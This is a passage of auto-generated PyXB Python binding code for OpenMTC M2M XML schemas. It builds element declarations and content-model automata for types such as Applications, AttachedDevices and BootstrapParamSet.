st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_2, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, True)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_3, False)]))
st_4._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_4, True)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_4, False)]))
st_5._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_5, True)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_5, False)]))
st_6._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_6, True)]))
st_7._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
ApplicationAnnc._Automaton = _BuildAutomaton_14()
Applications._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'applicationCollection'),
NamedReferenceCollection, scope=Applications,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd',
23, 4)))
Applications._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'applicationAnncCollection'),
NamedReferenceCollection, scope=Applications,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd',
24, 4)))
Applications._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID'),
pyxb.binding.datatypes.anyURI, scope=Applications,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10,
4)))
Applications._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'creationTime'),
pyxb.binding.datatypes.dateTime, scope=Applications,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12,
4)))
Applications._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'),
pyxb.binding.datatypes.dateTime, scope=Applications,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14,
4)))
Applications._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'),
pyxb.binding.datatypes.anyURI, scope=Applications,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76,
4)))
Applications._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'mgmtObjsReference'),
pyxb.binding.datatypes.anyURI, scope=Applications,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 84,
4)))
def _BuildAutomaton_15():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_15
del _BuildAutomaton_15
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd',
12, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd',
13, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd',
14, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd',
16, 12))
counters.add(cc_3)
cc_4 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd',
17, 12))
counters.add(cc_4)
cc_5 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd',
18, 12))
counters.add(cc_5)
cc_6 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd',
19, 12))
counters.add(cc_6)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(Applications._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd',
12, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(Applications._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'creationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd',
13, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(Applications._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd',
14, 12))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(Applications._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'applicationCollection')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd',
16, 12))
st_3 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_4, False))
symbol = pyxb.binding.content.ElementUse(Applications._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'applicationAnncCollection')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd',
17, 12))
st_4 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_5, False))
symbol = pyxb.binding.content.ElementUse(Applications._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd',
18, 12))
st_5 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_5)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_6, False))
symbol = pyxb.binding.content.ElementUse(Applications._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'mgmtObjsReference')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd',
19, 12))
st_6 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_6)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_1, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_2, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_3, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_3, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_4, True)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_4, False)]))
st_4._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_5, True)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_5, False)]))
st_5._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_6, True)]))
st_6._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
Applications._Automaton = _BuildAutomaton_15()
AttachedDevice._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID'),
pyxb.binding.datatypes.anyURI, scope=AttachedDevice,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10,
4)))
AttachedDevice._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'creationTime'),
pyxb.binding.datatypes.dateTime, scope=AttachedDevice,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12,
4)))
AttachedDevice._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'),
pyxb.binding.datatypes.dateTime, scope=AttachedDevice,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14,
4)))
AttachedDevice._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'),
pyxb.binding.datatypes.anyURI, scope=AttachedDevice,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76,
4)))
AttachedDevice._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'mgmtObjsReference'),
pyxb.binding.datatypes.anyURI, scope=AttachedDevice,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 84,
4)))
def _BuildAutomaton_16():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_16
del _BuildAutomaton_16
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevice.xsd',
12, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevice.xsd',
13, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevice.xsd',
14, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevice.xsd',
17, 12))
counters.add(cc_3)
cc_4 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevice.xsd',
18, 12))
counters.add(cc_4)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(AttachedDevice._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevice.xsd',
12, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(AttachedDevice._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'creationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevice.xsd',
13, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(AttachedDevice._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevice.xsd',
14, 12))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(AttachedDevice._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'mgmtObjsReference')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevice.xsd',
17, 12))
st_3 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_4, False))
symbol = pyxb.binding.content.ElementUse(AttachedDevice._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevice.xsd',
18, 12))
st_4 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_3, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_4, True)]))
st_4._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
AttachedDevice._Automaton = _BuildAutomaton_16()
AttachedDevices._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'attachedDeviceCollection'),
NamedReferenceCollection, scope=AttachedDevices,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevices.xsd',
23, 4)))
AttachedDevices._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID'),
pyxb.binding.datatypes.anyURI, scope=AttachedDevices,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10,
4)))
AttachedDevices._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'creationTime'),
pyxb.binding.datatypes.dateTime, scope=AttachedDevices,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12,
4)))
AttachedDevices._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'),
pyxb.binding.datatypes.dateTime, scope=AttachedDevices,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14,
4)))
AttachedDevices._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'),
pyxb.binding.datatypes.anyURI, scope=AttachedDevices,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76,
4)))
AttachedDevices._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'mgmtObjsReference'),
pyxb.binding.datatypes.anyURI, scope=AttachedDevices,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 84,
4)))
def _BuildAutomaton_17():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_17
del _BuildAutomaton_17
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevices.xsd',
12, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevices.xsd',
13, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevices.xsd',
14, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevices.xsd',
17, 12))
counters.add(cc_3)
cc_4 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevices.xsd',
18, 12))
counters.add(cc_4)
cc_5 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevices.xsd',
19, 12))
counters.add(cc_5)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(AttachedDevices._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevices.xsd',
12, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(AttachedDevices._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'creationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevices.xsd',
13, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(AttachedDevices._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevices.xsd',
14, 12))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(AttachedDevices._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'attachedDeviceCollection')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevices.xsd',
17, 12))
st_3 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_4, False))
symbol = pyxb.binding.content.ElementUse(AttachedDevices._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevices.xsd',
18, 12))
st_4 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_5, False))
symbol = pyxb.binding.content.ElementUse(AttachedDevices._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'mgmtObjsReference')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevices.xsd',
19, 12))
st_5 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_5)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_1, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_2, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_3, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_3, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_4, True)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_4, False)]))
st_4._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_5, True)]))
st_5._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
AttachedDevices._Automaton = _BuildAutomaton_17()
BootstrapParamSet._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'sclIdList'), AnyURIList,
scope=BootstrapParamSet, location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/bootstrapParamSet.xsd',
23, 4)))
BootstrapParamSet._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'sclId'),
pyxb.binding.datatypes.anyURI,
scope=BootstrapParamSet,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
220, 4)))
BootstrapParamSet._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'securityM2MNodeId'), STD_ANON_,
scope=BootstrapParamSet, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonSecurity.xsd',
6, 4)))
BootstrapParamSet._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'securityKmrIndex'),
pyxb.binding.datatypes.unsignedInt, scope=BootstrapParamSet,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonSecurity.xsd',
14, 4)))
BootstrapParamSet._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'securityLifetime'),
pyxb.binding.datatypes.dateTime, scope=BootstrapParamSet,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonSecurity.xsd',
16, 4)))
BootstrapParamSet._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'securityMasFqdn'),
pyxb.binding.datatypes.anyURI, scope=BootstrapParamSet,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonSecurity.xsd',
18, 4)))
BootstrapParamSet._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'securityEncryptedM2MKey'),
STD_ANON_2, scope=BootstrapParamSet, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonSecurity.xsd',
20, 4)))
def _BuildAutomaton_18():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_18
del _BuildAutomaton_18
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/bootstrapParamSet.xsd',
16, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/bootstrapParamSet.xsd',
17, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/bootstrapParamSet.xsd',
18, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/bootstrapParamSet.xsd',
19, 12))
counters.add(cc_3)
states = []
final_update = None
symbol = pyxb.binding.content.ElementUse(BootstrapParamSet._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'securityM2MNodeId')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/bootstrapParamSet.xsd',
13, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = None
symbol = pyxb.binding.content.ElementUse(BootstrapParamSet._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'securityKmrIndex')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/bootstrapParamSet.xsd',
14, 12))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
symbol = pyxb.binding.content.ElementUse(BootstrapParamSet._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'securityLifetime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/bootstrapParamSet.xsd',
15, 12))
